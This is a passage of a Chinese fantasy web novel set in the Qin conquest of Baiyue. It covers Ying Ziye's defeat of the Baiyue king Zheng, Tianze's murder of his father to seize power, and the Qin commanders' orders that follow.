那灯火通明,喊杀声最为激烈的獠牙宫殿区域!!
沿途的抵抗已然稀薄。
百越守军要么被百家主力吸引,要么早已被他们雷霆万钧的斩首手段吓破了胆!
然而。
就在穿过一片相对开阔,由黑色巨石铺就的祭祀广场时,赢子夜的脚步倏然停下!
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他身后的三百夜枭几乎在同一瞬间感受到一股冰冷刺骨的寒意,齐刷刷停下脚步!
阵型微变,如同受惊的刺猬般收缩戒备,浓烈的杀气再次凝聚。
少司命紫眸一凝,悄无声息地上前半步。
万千青叶虚影在她与赢子夜周身加速流转,发出细微的嗡鸣!!
前方的阴影…仿佛活了过来。
一股蛮荒、暴戾、带着浓烈血腥和毒腥气息的恐怖威压,如同实质的海啸般从广场另一端汹涌而来!!!
这股威压沉重、狂野。
充满了最原始的力量感和统治欲!
与赢子夜那煌煌帝威般的压迫感截然不同,却同样令人心悸!
沉重的脚步声响起!
每一步都让脚下的黑色石砖微微震颤!
百越王“狰”那魁梧如魔神般的身影,缓缓从阴影中踱出。
他脸上带着狰狞而兴奋的扭曲笑容,赤红的双目如同燃烧的炭火,死死锁定在赢子夜身上。
他手中那柄蛇信般的奇形弯刀,正吞吐着墨绿色的毒芒,发出“嘶嘶”的轻响,仿佛活物。
而在他的身后。
三十六道墨绿色的身影如同从地狱中爬出的毒蛇,悄无声息地散开,占据了广场各个致命的角落!!
他们冰冷的眼神透过蛇形面具,毫无感情地注视着前方的秦人。
那股阴冷粘稠的杀意,与狰的狂暴气势交织在一起,形成一种令人窒息的死亡领域!!!
空气仿佛凝固了。
一边是玄衣如墨,帝威初显的大秦公子,身后是沉默如冰的暗河杀器。
一边是蛮荒降临,杀气滔天的百越之主,身旁是阴冷致命的洞**蛇!
双方的气势在这片祭祀广场上轰然对撞!!
无形的力场在中间激烈交锋,竟使得地面的尘埃都无风自动,盘旋飞舞!
狰咧开嘴,露出森白牙齿,声音如同砂纸摩擦,带着极致的恶意和一丝发现猎物的狂喜。
“赢子夜……本王,等你多时了!”
赢子夜黑眸微眯,看着眼前这意料之外的“惊喜”,脸上那万年不变的淡漠终于起了一丝细微的波澜。
那不是恐惧,而是……
一种猛虎发现值得一撕的猎物时的冷冽兴趣!
没想到,最大的鱼,自己主动送上了门?
这倒是……
省了他一番找寻的功夫。
第230章 诸方汇聚,厮杀!!!
猛然间!
狰的怒吼如同平地惊雷,震得整个祭祀广场都在嗡鸣!
他再也按捺不住那沸腾的杀意和狂暴的战血!
赢子夜那平静淡漠的眼神,在他眼中是最大的羞辱!
“杀!!给本王撕碎他们!一个不留!”
咆哮声中,狰的身体猛然发生了恐怖的变化!
他本就魁梧的身躯如同吹气般疯狂膨胀,肌肉贬结虬张,皮肤瞬间变得如同黑铁般黝黑发亮!
上面那些靛蓝色的战纹如同活过来的毒**般蠕动、发光,散发出污秽而强大的能量波动!
他的身高硬生生拔高到近三丈。
宛如一尊从远古走来的蛮荒巨人!!
腥臭的毒气和浓郁的瘴气从他周身毛孔中喷发出来,形成一片令人作呕的墨绿色领域!
“秦狗!纳命来!”
化身巨人的狰声音如同闷雷滚动!
他抬起那如同磨盘大小的巨拳,带着碾碎一切的恐怖力量,直接轰向赢子夜!
拳风撕裂空气,发出的尖啸声刺耳欲聋!
与此同时,那三十六洞蛇卫也动了!
他们如同三十六条真正的毒蛇,悄无声息却又快如闪电地扑出,目标直指赢子夜身后的三百夜枭和少司命!
“血蚊洞!”
一名蛇卫尖啸,身形化作无数血色蚊影,铺天盖地罩向夜枭,专破罡气,吸食血气!
“腐骨潭!”
另一人双手拍地,墨绿色的毒液如同沼泽般蔓延开来,沾染者血肉瞬间溃烂见骨!
“迷瞳窟!”
又一人眼中绽放诡异螺旋光芒,与之对视的夜枭顿时动作僵直,眼神迷茫!
“裂心峡!”
尖锐的骨笛声响起,直攻心脉,让人心跳紊乱,真气暴走!
“千针穴!”
无数淬毒牛毛细针如同暴雨般倾泻,覆盖范围极广!!
三十六洞,各有其诡谲狠毒的绝技,瞬间与三百夜枭绞杀在一起!
少司命紫眸含煞,万千青叶化作夺命风暴,将试图靠近赢子夜的攻击尽数拦下,与数名蛇卫缠斗在一起!
叶片与毒刃碰撞,发出密集的铿锵之声!
而另一边。
面对狰那毁天灭地般的一拳,赢子夜眼神微凝,却并未后退半步!
他周身金光一闪,那尊金甲威龙巨兵法相并未完全显现,而是将力量加持于自身!
“天帝拳·崩岳!”
赢子夜不闪不避,右拳同样轰出!
他的拳头与狰那磨盘大的巨拳相比,显得如此渺小,但拳锋之上却凝聚着璀璨夺目,至刚至阳的帝王拳意!
“轰——!!!”
双拳对撞!如同陨星撞击大地!
恐怖的冲击波呈环形猛然炸开!!
广场上坚硬的黑色石砖如同纸片般被层层掀起、粉碎!
离得稍近的几名蛇卫和夜枭直接被气浪掀飞出去,口喷鲜血!
狰那庞大的身躯剧烈地晃动了一下,脸上闪过一丝难以置信!!!
他感觉自己那一拳像是砸在了一座大山上,反震之力让他手臂发麻!
而赢子夜只是身形微微一晃,脚下地面龟裂,却寸步未退!
“怎么可能?!”
狰发出惊怒的咆哮,他无法接受自己在最自豪的力量上竟占不到便宜!
“蛮力,终究是下乘。”
赢子夜声音冰冷,动作却快如鬼魅!
他趁狰旧力刚去,新力未生之际,身形一闪,已然贴近狰那庞大的身躯!
“天帝指·截脉!”
并指如剑,指尖吞吐着凝练无比的金芒,疾点狰周身那些发光的战纹节点!!!
那些节点既是力量源泉,也是污秽能量的汇聚之处!
噗!
噗!
噗!
如同烧红的烙铁烫入牛油。
赢子夜的指尖每点中一处,狰那坚逾钢铁的皮肤便发出“嗤嗤”的灼烧声,冒起阵阵黑烟。
战纹的光芒也随之黯淡一分!!
一股股精纯浩大的力量透体而入,疯狂破坏着他体内的能量运行!
“吼!!!”
狰痛吼连连,庞大的身躯反而成了累赘,动作远不如赢子夜灵巧!
他疯狂挥舞着巨臂,试图拍苍蝇般将赢子夜拍碎,毒瘴狂喷,却总是被赢子夜以毫厘之差闪过!
那金色的身影如同鬼魅,在他周身闪烁不定!
每一次闪现,都必然有一指精准地点在他的要害战纹之上!
“该死!你这只滑溜的虫子!”
狰暴怒欲狂,他空有狂暴的力量却打不中目标,反而被对方那精准而克制的攻击打得痛苦不堪!
周身战纹明灭不定,气息都开始紊乱!
就在赢子夜一指点向他心口最大的一处战纹时,狰的眼中猛地闪过一抹狡诈凶残的光芒!
“你以为本王就这点本事吗?!”
“万蛇窟·召来!!!”
他猛地张开巨口,并非咆哮,而是发出一声尖锐刺耳,非人般的嘶鸣!
轰隆!
赢子夜脚下的地面猛然炸开!
一条庞大无比的阴影破土而出!!
那是一条巨**!
通体覆盖着漆黑如墨,坚硬如铁的鳞片,蛇瞳是冰冷的竖瞳,散发着嗜血的光芒!
张开的巨口足以吞下一头巨象,腥风扑面而来!
这才是狰隐藏的**锏!
一直潜伏在地底,以自身污秽气息掩盖的灵宠。
黑玄王蛇!
这突如其来的袭击,角度刁钻狠毒!
正是赢子夜刚收招,且注意力完全在狰心口战纹的瞬间!
巨**的血盆大口带着吞噬一切的气势,猛地合拢,就要将赢子夜整个吞入腹中!
狰的脸上露出了狰狞而得意的笑容,他似乎已经看到了赢子夜被撕碎吞噬的场景!
然而,就在那千钧一发之际!
赢子夜的眼神依旧冷静得可怕,仿佛早已预料到这一切!
他并未试图躲闪那足以吞噬巨象的蛇口,而是借着下落的趋势,身体在空中以一种不可思议的角度强行扭转!
“六臂合一·擒龙手!”
他身后忽然浮现出一尊简化版的法相,其六条手臂虚影迅速合一,化作一只凝实无比,覆盖着龙鳞的金色巨手!
巨手并非抓向蛇口,而是以更快的速度,狠狠地一爪扣住了黑玄王蛇的上颚!!
另一只手则闪电般探出,五指如钩,精准无比地抓住了巨**下颚的逆鳞之处!
“吼——!!!”
黑玄王蛇发出痛苦的嘶鸣,咬合的动作被硬生生止住!
赢子夜就借着这一扣一抓之力,身体如同流星般向上蹿起!
不仅避开了致命的吞噬,反而瞬间踏足了黑玄王蛇那巨大的头颅之上!
他单足踩在蛇首,玄衣猎猎,黑发狂舞,俯视着下
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方目瞪口呆的狰,眼神冰冷如万载寒渊!
“畜牲就是畜牲,终究……上不得台面!”
话音未落,他脚下猛然发力!
咔嚓!
令人牙酸的骨裂声响起!
黑玄王蛇发出凄厉无比的惨嚎,庞大的蛇躯疯狂扭动,却无法将头顶那如同山岳般沉重的身影甩脱!
……
王庭东侧。
一片被净化过的溶洞出口。
晓梦一袭白衣,纤尘不染,正欲率领天宗弟子继续向核心区域挺进。
她清冷的目光忽然微微一动,侧首望向王庭中心那片祭祀广场的方向。
几乎同一时间,西侧“亡魂水道”的尽头,月神与大司命也刚刚清理完最后一批试图凭借水道顽抗的百越巫师。
月神那永**静无波的淡紫色眼眸中,星河流转的速度悄然加快了一分。
她同样若有所感地抬眸,望向同一个方向。
两拨人,虽相隔甚远。
却都在这一刻,清晰地感受到了一股截然不同,却同样恐怖到令人心悸的能量波动。
正从王庭核心处轰然爆发,激烈对撞!!!
一股蛮荒、暴戾、污秽,如同苏醒的远古凶兽,带着令人作呕的毒瘴与血腥!
另一股则煌煌如日,帝威凛然,至刚至阳!
却又带着一种冰冷,碾压一切的绝对意志!
“是殿下的气息……”
月神空灵的声音第一次带上了一丝极细微的波动。
那并非担忧,而是一种对那股至高帝威的本能感应!
毕竟这样的强悍压迫感,当初在咸阳就出现过数次!
事实上,她都已经快要习惯了。
“呵,打得很热闹嘛!这才像点样子!”
大司命舔了舔猩红的嘴唇,眼中闪烁着兴奋而残忍的光芒。
“月神大人,我们还等什么?去给殿下助助兴如何?”
另一边,晓梦微微蹙眉,那两股强行改变天地能量格局的狂暴力量,让她这位追求“天道自然”的道家掌门本能地感到一丝不适。
但她旋即恢复了那超然物外的清冷。
“天道无常,亦容杀伐。”
她淡淡自语,拂尘轻摆。
“走吧,去看看殿下。”
然而,就在她们各自准备动身,驰援那惊天动地战场之时——
“为了百越!为了大王!杀光这些秦狗!”
东侧,数以百计的百越残兵和狂热的部落武士,在一个浑身涂满油彩,跳着诡异战舞的大巫祝带领下,如同潮水般从废墟和巷道中涌出!!
他们眼神疯狂,完全不顾生死,扑向了晓梦和天宗弟子所在的区域!
这是王庭东部最后的有生力量,被那核心战场的王者气息刺激,陷入了最后的疯狂!
“哼,螳臂当车,不知所谓。”
晓梦冷哼一声,甚至没有亲自出手。
她身后数十名天宗精英弟子瞬间结阵!
清光流转,符箓纷飞,如同铜墙铁壁般将疯狂的冲锋挡下,并以精妙的道术将其分割、瓦解、净化。
晓梦本人则白衣飘飘,如同凌波仙子,直接从战团上方掠过,速度丝毫不减,直扑核心战场!
那些零星的攻击,尚未靠近她三尺,便被无形的气场化为齑粉。
西侧,同样的情况上演!
大批从水道防线溃败下来,却凶性未泯的百越水鬼和毒术师,嚎叫着冲向月神一行人!
第231章 斩草,要除根!
“找死!”
大司命娇叱一声,双手结印,血色骷髅头凭空浮现,带着凄厉的尖啸冲入人群,瞬间吸干数人精血!
月神更是看都未看,裙摆摇曳,周身星辉自动护体!
任何靠近的敌人皆如撞上无形壁垒,瞬间骨断筋折倒飞而出!
阴阳家高手们各施手段,毒咒、幻术、五行攻击倾泻而出,迅速将这群乌合之众击溃**!
“无趣的杂鱼,浪费时辰!”
大司命不满地冷哼一声,脚下一点,化作红影急掠而出。
月神身影飘忽,如同融入月色,速度更快,直指那能量对撞最激烈的中心!
她们都清楚,那里的战斗,才是决定一切的关键。
这些最后的反扑,不过是灭亡前的哀鸣,根本无法阻挡她们驰援的脚步。
只见两道代表着当世顶尖力量的流光!
一东一西,破开重重阻碍,以惊人的速度,同时射向赢子夜与百越王狰激战的祭祀广场!
最终的决战舞台,即将迎来更多的顶级强者!
……
而王庭后方。
那片被死亡阴影笼罩的区域,此刻已彻底化为一片血泊地狱。
兽骨祭坛周围,横七竖八地倒伏着数十具尸体,皆衣着华贵,却死状凄惨。
有的被赤练蛇毒蚀穿了心脏,面容扭曲发黑。
有的被无形利刃割断了喉咙,鲜血染红了珍贵的兽皮地毯。
更有的仿佛被巨力撕碎,残肢断臂散落一地。
赤练慵懒地擦拭着指尖血迹,看着最后一名试图用珠宝换取性命的百越老王叔,被白凤随手射出的一片羽毛钉穿眉心。
她娇笑道:“真是的,跑又跑不掉,求饶又没用,何必呢?”
“安安静静死在这里,还能留个全尸,多好。”
白凤冷漠地立于一根孤杆之上,洁白的羽毛在他周身飘落,纤尘不染。
仿佛下方的**,与他无关。
远处的黑暗中。
狼群的撕咬声和隐蝠那压抑的嗜血低笑渐渐平息。
意味着所有试图从地面逃窜的猎物都已被清除!
卫庄倚着鲨齿剑,立于那片尸山血海之前,白发在渐起的风中微动。
他冷硬的目光扫过那些被彻底封死,甚至被苍狼王驱赶巨石堵死的密道出口,确认再无任何漏网之鱼的可能。
就在这时。
一股狂暴污秽的巨人气息和另一股煌煌帝王般的恐怖威压。
如同两股对撞的飓风,猛地从王庭核心区域爆发开来!!!
即使相隔甚远,也让他们清晰地感受到了那毁天灭地般的能量冲击!
赤练脸上的笑容微微一僵,眼中闪过一丝惊色。
“这动静……是那个百越王?”
“他竟然有这种力量?还有另一股……是赢子夜?”
白凤的身影微微前倾,冷漠的脸上眉头微蹙,显然那两股力量都让他感到了强烈的威胁!
卫庄那万年冰封般的脸上,嘴角却缓缓勾起一抹冰冷而狂傲的弧度。
那并非恐惧,而是被真正强者气息所激发,极度兴奋的战意!
“哼,总算有点像样的对手了。”
他声音低沉,带着一种发现猎物的嗜血期待。
“守在这里清理杂鱼,真是……无聊透顶。”
他猛地将鲨齿剑砸在地上,发出沉闷的响声!
猩红的披风无风自动,一股丝毫不逊于前方战场,冰冷霸道至极的剑意冲天而起!
“赤练,白凤。”
卫庄的声音不容置疑,带着绝对的命令口吻。
“这里的游戏结束了。”
他目光扫过那些被堵死的出口,补充道:“把这些老鼠洞,彻底毁了,一块石头都不要留下!”
“是!”
几名逆流沙死士立刻领命!
他们拿出早已准备好的**、毒液,开始对各个出口进行最后的破坏性封堵。
卫庄则缓缓抬起鲨齿剑,指向那能量对撞最激烈的核心方向,眼中燃烧着冰冷的火焰!
“逆流沙全体——”
他的声音如同出鞘的利剑,斩钉截铁。
“随我……去往真正的战场!”
“喏!”
赤练、白凤、以及从阴影中现身的苍狼王、隐蝠等人齐声应喝。
战意,瞬间被点燃!!!
下一刻,以卫庄为首,数道强悍无匹的身影如同离弦之箭,撕裂后方沉寂的空气,裹挟着滔天的杀意和霸道绝伦的气势,悍然冲向前方那如同炼狱漩涡般的核心战场!
他们所过之处,残余零星的百越人甚至连他们的身影都看不清,便被那外放的恐怖气势碾碎震飞!!
逆流沙这把凶刃,在完成了封锁与清场的任务后,终于露出了它最锋利的獠牙。
要主动投身于那最狂暴的战团之中!
……
祭祀广场已沦为一片废墟。
烟尘弥漫,碎石遍地。
中央那巨大的掌印坑洞旁,又添了无数新的裂痕和焦黑的灼烧痕迹。
赢子夜玄衣之上沾染了些许尘土,呼吸却依旧平稳悠长,黑眸中的冰冷如同万古不化的寒冰。
他负手而立,看着前方那狼狈不堪,气息萎靡到极点的百越王狰。
此时的狰,早已没了之前的狂暴不可一世。
他庞大的身躯缩小了近半。
恢复常**小的躯体上布满了可怕的伤口。
胸口那最大的战纹被彻底击碎,留下一个焦黑的窟窿,鲜血汩汩流淌。
他一条手臂以诡异的角度扭曲着,显然已经折断。
脸上更是血肉模糊,一只眼睛被打爆,只剩下一个血洞。
他拄着那柄蛇信弯刀,勉强支撑着身体,剧烈地喘息着。
每一次呼吸都带着血沫,看向赢子夜的目光中充满了惊骇、怨毒,以及一丝无法掩饰的恐惧!
他输了!
输得一败涂地!
他所有狂暴的攻击,所有污秽的毒瘴,所有引以为
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傲的蛮力。
在对方面前…都如同纸糊般脆弱!
那尊金色的帝王法相,那霸道绝伦的拳指,那洞悉一切的战斗意识,彻底将他碾压!
“赢…子…夜!”
狰从喉咙里挤出嘶哑的咆哮,充满了不甘和绝望。
就在这时。
那条被赢子夜踩碎头骨,本该毙命的黑玄王蛇,竟回光返照般猛地扬起巨大的蛇尾!
带着最后的力量和决绝,狠狠扫向赢子夜!
同时,用残破的身躯死死缠向狰!!
“嘶——!!!”
巨**竟发出模糊的精神嘶鸣!
赢子夜眼神一冷,并指如剑,金色剑芒一闪!
噗嗤!
那巨大的蛇尾应声而断!
鲜血如同瀑布般喷涌!
但就借着这微不足道阻拦的一刹那。
黑玄王蛇用最后的气力将狰猛地向后一甩,同时张开残破的巨口,喷出漫天腥臭毒血,试图阻挡赢子夜的视线!
狰发出一声悲愤至极的怒吼,却毫不犹豫地借着这股力量,转身化作一道血光,疯狂地向着王庭深处遁逃!
他甚至不敢回头看一眼那为他争取最后生机而彻底死去的灵宠!
赢子夜挥袖荡开毒血,看着狰消失的方向,并未立刻追击。
他目光扫过地上那彻底失去生机的巨**尸体,眼神毫无波动。
“赵弋苍!”
赢子夜声音冷冽。
“卑职在!”
一直率夜枭在掠阵戒备,并抵挡三十六洞蛇卫反扑的赵弋苍立刻闪身上前。
他身上也带着伤,甲胄破损,却依旧战意昂然!
“率一百夜枭,追!”
赢子夜命令简洁无比。
“百越王已重伤,穷寇必追!生要见人,死要见尸!”
“诺!”
赵弋苍眼中精光爆射,毫不犹豫。
点齐一百名状态最好的夜枭精锐,如同嗅到血腥味的猎犬,瞬间朝着狰遁逃的方向急追而去!
那些残存的蛇卫还想阻拦,却被剩下的夜枭死死缠住。
赢子夜则看都未看身后的战场。
他的目光已然投向了那象征着百越最高权力的獠牙宫殿深处。
那里,或许还有百越的王族、传承、以及最后的抵抗力量。
斩草,需除根!
他绝不会给百越任何死灰复燃的机会!
“夫人,随我来。”
赢子夜淡淡开口,玄衣拂动,迈步向前。
少司命无声颔首,紫影飘忽,紧随其后。
两人一前一后,如同索命的死神,踏过废墟与尸骸,径直走向那灯火摇曳,却已弥漫着绝望气息的王庭最深处。
忽然,他随意抬眸。
淡淡感知到几股熟悉的气息,正从不同方向逼近!
晓梦自东而来,月神与大司命自西而至,卫庄率逆流沙自后方汇拢。
看来,他们皆已完成了各自的清剿任务。
此刻汇聚于此,助他彻底收尾。
第232章 百越,不需要两个王!
百越腹地。
一处隐秘的血池洞穴。
这里阴冷潮湿,空气中弥漫着浓重的血腥味和药草的苦涩气息。
天泽大半个身躯浸泡在粘稠的血池中,池底沉积的毒虫骸骨和灵药正不断释放出阴寒能量,与他体内那躁动却已逐渐被驯服的地心火精缓缓融合。
他原本苍白如纸的脸色已然恢复了少许红润。
破碎的经脉在血池和火精的双重作用下飞速愈合,甚至变得更加坚韧!!
那双蛇瞳中的光芒越发锐利骇人!
充满了力量回归乃至超越从前的自信与…野心。
就在这时。
洞穴入口处传来一阵极其狼狈、紊乱的脚步声和粗重如风箱般的喘息!
天泽蛇瞳骤然收缩,猛地抬头望去。
只见一个血人踉跄着冲了进来!!
他浑身是伤,胸口一个焦黑的窟窿还在渗血。
手臂扭曲,一只眼睛成了血洞。
正是凭借灵宠拼死掩护和燃烧精血才侥幸逃出生天的百越王,狰!
狰一进入洞穴,看到池中的天泽,先是一愣,随即那仅剩的独眼中爆发出狂怒和迁怒的火焰。
他甚至没注意到天泽眼中那一闪而逝的惊诧与随即涌起的冰冷幽光。
“天泽!你这个废物!!”
狰依靠在洞壁上,嘶声咆哮,血沫不断从嘴角溢出。
“你败光了本王的尸傀大军!你丢光了百越的脸面!”
“现在…现在连本王都……都是因为你无能!!”
他仿佛找到了发泄的对象!
将所有的失败和**都归咎于天泽,声音因重伤和愤怒而扭曲变形。
“若不是你一败涂地,本王何须亲自出手!”
“又怎会…怎会落得如此下场!被那赢子夜……啊!!!”
想到赢子夜那冷漠碾压的姿态,狰气得浑身发抖,伤口崩裂,鲜血流得更急。
天泽缓缓从血池中站起身,粘稠的血水从他精壮的身躯上滑落。
他并没有回应狰的咆哮,只是用那双变得越发幽深冰冷的蛇瞳,静静地、仔细地打量着狰那重伤濒死的模样。
仿佛在评估一件物品的价值。
狰骂了半天,发现天泽毫无反应,这种异常的沉默反而让他感到一丝不对劲。
他喘着粗气,独眼警惕地看向天泽:“你…你看什么看?!”
“还不快给本王拿疗伤圣药来!”
“待本王恢复,定要……”
他的话戛然而止!!
因为他看到了天泽眼中那毫不掩饰,越来越浓的……杀机!
那是一种冰冷、贪婪、带着积怨已久的疯狂杀意!
“你…你想干什么?!”
狰的心猛地一沉,下意识地想要后退,却牵动了伤势,痛得他一个踉跄,只能徒劳地靠紧洞壁。
“天泽!本王是你父王!你敢!!”
“父王?”
天泽终于开口了,他的声音沙哑而平静,却带着一种令人毛骨悚然的诡异笑意。
“是啊,我的好父王。”
他一步步缓缓走向狰,血水在他脚下滴落,发出“嘀嗒”的声响,在这寂静的洞穴中格外清晰。
“我的好父王,当年将我母亲视为玩物,利用殆尽后便弃如敝履,任由她在冷宫中郁郁而终时,你可记得你是我父王?”
狰的独眼猛地睁大。
天泽继续逼近,声音越来越冷,如同毒蛇吐信。
“当年你忌惮我的天赋,怕我威胁你的王位,将我囚禁在暗无天日的地牢多年,用尽酷刑折磨时,你可记得你是我父王?”
“当年你明知我被血衣侯白亦非算计,却冷眼旁观,甚至暗自欣喜,巴不得我这‘杂种’儿子死在外面时,你可记得你是我父王?!”
“现在你兵败如山倒,像条丧家之犬一样逃到我这里,还敢对我颐指气使,破口大骂?!”
天泽的声音陡然拔高,充满了压抑已久的怨毒和疯狂。
“在你眼里,我永远都只是一条有用的狗!”
“不是吗?!我的好父王!”
狰被天泽眼中那疯狂的杀意和一连串的质问吓得魂飞魄散!
他想要挣扎,想要呼救。
却发现自己重伤之下,连动弹一下都困难无比!
他只能色厉内荏地嘶吼:“逆子!你敢弑父?!百越祖灵绝不会放过你!!”
“祖灵?呵……”
天泽已经走到了狰的面前,居高临下地俯视着他,嘴角勾起一抹残忍至极的弧度。
“它们若有眼,第一个该惩罚的就是你这昏聩暴虐之王!”
话音未落,天泽猛地出手!!!
他双手五指成爪,指尖瞬间变得漆黑如墨,缭绕着浓郁的黑红色煞气,狠狠地抓入了狰胸前那焦黑的窟窿伤口之中!
“呃啊啊啊——!!!”
狰发出凄厉至极、不似人声的惨叫!
他感觉自己的心脏仿佛被一只冰冷的手死死攥住,全身的精血、功力,乃至灵魂都在被疯狂地抽离!
吞噬!
“噬魂蛊煞·夺灵!”
这是天泽在地牢那十年的折磨中,结合百越巫蛊之术和自己怨毒恨意领悟出的禁忌邪功!
“不…不要……我是你父王……”
狰的身体以肉眼可见的速度干瘪下去,皮肤失去光泽,眼神迅速黯淡,充满了无尽的恐惧和哀求。
“正因为你是……”
天泽的脸上浮现出陶醉而狰狞的神情。
疯狂汲取着狰那蕴含着百越王族血脉和多年修为的力量,感受着自身力量的飞速暴涨!!
“所以你的一切,才更应该由我来继承!”
“百越,不需要两个王!”
“更不需要…一个失败的王!”
“你安心的……成为我力量的一部分吧!”
“我会‘好好’带领百越的…我亲爱的父王!!!”
狰的挣扎越来越微弱,哀求声渐渐低不可闻。
最终,他整个人彻底化作一具枯槁的干尸,歪倒在地。
那仅剩的独眼瞪得滚圆,充满了无尽的惊恐和难以置信。
天泽缓缓收回手,感受着体内奔腾咆哮,几乎要破体而出的庞大力量!
那融合了地心火精和百越王全部力量的恐怖能量!
让他忍不住发出一声舒爽而邪异的**!!
他踢了踢脚下那具干尸,眼中没有丝毫弑父的愧疚,只有冰冷的满足和更大的野心。
“焰灵姬。”
他对着洞外淡淡唤道。
妖娆的身影应声而入,焰灵姬看到洞内的景象,尤其是那具熟悉的干尸,美眸中闪过一丝惊骇,但很快便被掩饰下去。
“把这里处理干净。”
天泽语气平淡,仿佛只是吩咐一件小事。
“然后,去散播消
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息,百越王狰,英勇战死,被秦公子赢子夜亲手斩杀于王庭之中。”
焰灵姬心头一震,瞬间明白了天泽的意图,低头道:“知道了。”
“还有,”
天泽嘴角勾起一抹冷酷的笑意。
“传令下去,本王,天泽,百越太子,为报父仇,将收拢所有百越残部,要与暴秦…血战到底!”
弑父篡位,嫁祸仇敌,整合势力……
一步到位!
残忍而高效的阴谋,在这血腥的洞穴中,悄然达成!
……
此时此刻。
百越王庭。
那象征着蛮荒权力的獠牙宫殿,此刻已彻底易主。
曾经燃烧着野蛮篝火,回荡着狂躁战鼓的大殿,如今被一种冰冷肃杀的帝国铁序所取代。
玄黑色的秦军战旗取代了狰狞的兽骨图腾。
持戈而立的锐士目光如电,扫视着每一个角落。
赢子夜端坐于那由巨大兽骨和青铜铸成的王座之上。
这王座粗糙宽大,甚至带着未打磨完毕的棱角。
与他周身那沉静如渊,威仪自生的帝王气度格格不入。
却又被他以一种绝对掌控的姿态坐在身下。
仿佛这蛮荒王权,生来便该被他践踏于足下!
玄衣如墨,衬得他面容愈发白皙冷峻,黑眸低垂,听着下方将领的奏报。
指尖,无意识地轻叩着冰冷的青铜扶手。
少司命静立王座之侧,紫纱拂动,周身清冷气息将大殿中残留的血腥和野蛮意味悄然驱散。
殿下。
钟离昧、樊哙、周勃、赵弋苍等将领肃立,虽甲胄染血,面带疲惫,却个个精神亢奋,眼神灼灼。
一名军中文吏正躬身禀报,声音因激动而微微发颤。
“禀公子!天大的好消息!”
“百越王‘狰’战败的消息传开后,王庭周边负隅顽抗的黑石、毒牙、火燎等三座大城,守军士气彻底崩溃,已开城归降!”
“我军兵不血刃,已接收城防!”
又一名负责军情的校尉上前一步,声音洪亮。
“报!蒙毅将军主力已彻底肃清王庭外围所有抵抗,正在清点战果,收押俘虏!”
“王贲将军水师已控制所有水道!”
“报!王离将军部传来军情!”
另一名传令兵单膝跪地,语速极快。
“与我军交战之百越犀魁、象力、山鬼、毒鸠等残部,于两个时辰前突然停止抵抗,全线向西南方向‘枯骨涧’仓皇撤退!”
“王离将军判断其军心已散,正与王贲将军水师一部形成钳形之势,欲将其逼入‘葬蛇谷’一带,一举合围歼灭!”
赢子夜叩击扶手的指尖微微一顿,黑眸抬起,闪过一丝冷光。
“突然撤退?向西南枯骨涧?”
他嘴角勾起一抹冰冷的弧度。
“看来,是收到他们主子确切的战败讯息了。”
“想逃?没那么容易。”
此时。
赵弋苍上前一步,他身上带着追剿百越王时的新伤,脸色却异常凝重。
“主上,卑职无能,追击百越王至‘**涧’一带,失去了其踪迹。”
“但……末将发现了一些蹊跷。”
“讲。”
“现场有一些新鲜的痕迹,能量残留极为诡异阴毒,并非我军或暗河手段。”
“而且……卑职找到了这个。”
第233章 百越圣地!封魔传说!
赵弋苍从怀中取出一块被小心包裹的,焦黑的碎片,隐约可见是某种衣物材质,上面却残留着令人不适的污秽气息。
“此物气息,与百越王庭记载的那些**,极为相似!”
赢子夜目光落在那碎片上,眼神微眯。
几乎是同时,又一名暗河信使如鬼魅般悄无声息地出现在殿内,跪地低语。
“主上,韩将军密报。”
“他已按计划焚毁王庭粮仓,截断水道,并已抵达拜月城。”
“城中守军稀少,抵抗微弱,似主力早已撤离。”
“但韩将军于城中发现小股人马活动痕迹,经查,疑似…天泽麾下的人曾在此出现,并散播了大量关于百越王被您亲手斩杀的消息后,匆匆离去。”
大殿内瞬间安静了下来。
钟离昧浓眉紧锁。
“天泽的人?他们不是在收拢残兵吗?怎么会跑到拜月城去散播消息?”
樊哙挠了挠头,粗声道:“这龟儿子又想搞什么鬼?帮他老子宣扬死讯?”
周勃沉吟:“事出反常必有妖。”
“百越王才战败,天泽的人就急着帮他‘证实’死讯……”
“这不像复仇,倒像是…急着接管权力?”
赢子夜缓缓从王座上站起身,他的动作并不快,却让整个大殿的气氛瞬间变得更加凝肃。
他走到殿中,目光扫过众将,声音平静却带着洞穿一切的寒意。
“传令!”
众将立刻挺直身躯,凝神待命。
“钟离昧,你持本公子令箭,速去告知蒙毅。”
“接收降城之事,交由他全权负责,务必稳妥,若有反复,夷其三族!”
“让他整顿军备,随时准备南下,清剿百越最后残余!!!”
“末将领命!”钟离昧肃然应道。
“樊哙、周勃,你等即刻前往王离、王贲军前,传达本公子的指令。”
“葬蛇谷合围之战,许胜不许败!”
“务必全歼犀魁、象力等残部,若放跑一人,军法从事!!!”
“诺!”樊哙周勃眼中闪过战意。
“最后,”赢子夜看向那名暗河信使,“传讯韩信。”
“拜月城既下,令他暂驻整顿,广布哨探。”
“一旦暗河查明百越残余主力动向,责命他即刻率部出击!”
“本公子要他以最快的速度,最狠的手段,将天泽好不容易聚拢起来的那点势力,再次碾碎!”
“遵命!”信使领命,无声退去。
一条条命令清晰明确,如同精准的齿轮,瞬间将整个战争机器再次加速运转起来!
赢子夜重新坐回那冰冷的王座,黑眸中寒光凛冽。
不管天泽要干什么,如今战局已定,这南疆**山河,注定要匍匐在大秦的铁蹄之下!!!
任何魑魅魍魉,都唯有……灰飞烟灭!
……
随后。
百越王庭深处。
这里并非只有粗犷的獠牙宫殿。
在其后方,依着一处天然形成的、弥漫着淡淡灵雾的山腹,修建着一座更为古老和神秘的建筑——
百越圣地!!
这里被视为百越力量与传承的源头,寻常族人根本无权靠近。
而此刻,圣地那沉重的,刻满了各种诡异图腾的石门被缓缓推开。
赢子夜一袭玄衣,当先步入其中。
少司命如影随形,其后是数名精锐的夜枭护卫。
门内并非想象中的金碧辉煌或阴森恐怖,反而显得颇为古朴,甚至有些简陋。
巨大的山腹空间被开凿出一个个石室,大部分石室中堆放着成箱的金银珠宝,未经打磨的玉石、以及各种罕见的兽骨和药材,闪烁着诱人的光泽。
这些足以让外界疯狂的财富,此刻却如同寻常杂物般堆砌于此!!
赢子夜的目光并未在这些财宝上过多停留。
他的视线扫向了更深处那些明显有着书架和石台格局的石室。
那里存放的,才是真正承载一个文明根基的东西!!
典籍。
他缓步走入一间最大的石室。
空气中弥漫着陈旧兽皮和特殊药水混合的味道,用以防腐防虫。
